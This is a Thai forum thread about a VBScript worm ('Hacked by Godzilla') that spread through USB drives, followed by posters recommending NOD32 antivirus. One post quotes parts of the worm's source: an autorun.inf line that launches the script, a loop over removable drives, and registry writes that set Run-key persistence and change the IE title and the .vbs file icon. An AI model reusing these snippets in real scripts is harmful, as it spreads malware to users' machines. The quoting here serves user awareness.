...พี่น้องท่านใดโดนไวรัส Hacked by 1BYTE บ้าง...

[Desperado - รักในหลวง]

ไม่ใช่ไวรัส ไม่ใช่สบายแวร์ แต่เป็นหนอน ....

ที่ทำงานผมโดนตัว Hacked by Godzila ครับ ดูในไฟล์ MS32DLL.dll.vbs มันเป็นโค๊ด vbscript ธรรมดา .... แค่ก็อปปี๊ตัวเอง สร้างออโตรัน และแก้ไขรีจีสตรีเท่านั้นเอง ... (ยังปรานีมาก ไม่ลบ Windows)

ส่วนหัวโปรแกรม

โค๊ด:

'My name is Slow but sure V0.05
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"

ติดทาง flash drive

โค๊ด:

for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
 ..... .... ...
end if
next

แก้ registry

โค๊ด:

rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by Godzilla"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"

  ดูแล้วตื่นตาตื่นใจดีครับ

ยกกระทู้ให้เลยครับ ถูกใจ 

[C.J. - รักในหลวง]

  ...ขอบคุณ..คุณ Watt ครับ ที่ช่วยหลังเวที...

ผมมีตัวนี้มาแนะนำครับ....NOD32 Antivirus System v2.70.10 for Windows XP 


 

[อั้มแมน]

...ขอบคุณ..คุณ Watt ครับ ที่ช่วยหลังเวที...

ผมมีตัวนี้มาแนะนำครับ....NOD32 Antivirus System v2.70.10 for Windows XP

NOD32  เป็นแอนตี้ไวรัส   ที่ผม ว่า ใช้งานได้ดีมากๆ อีก ตัว ที่น่าสนใจครับ 
ราคาก็ไม่แพงครับ  ซื้อแบบมี ลิขสิทธิ์  มาใช้กันนะครับ  ช่วยกันสนับสนุนของแท้บ้าง   

ราคาเต็มอยู่ 700กว่าบาท   แต่ หาร้าน ที่ลดราคา ก็ ได้ที่ 500 กว่าบาทเองครับ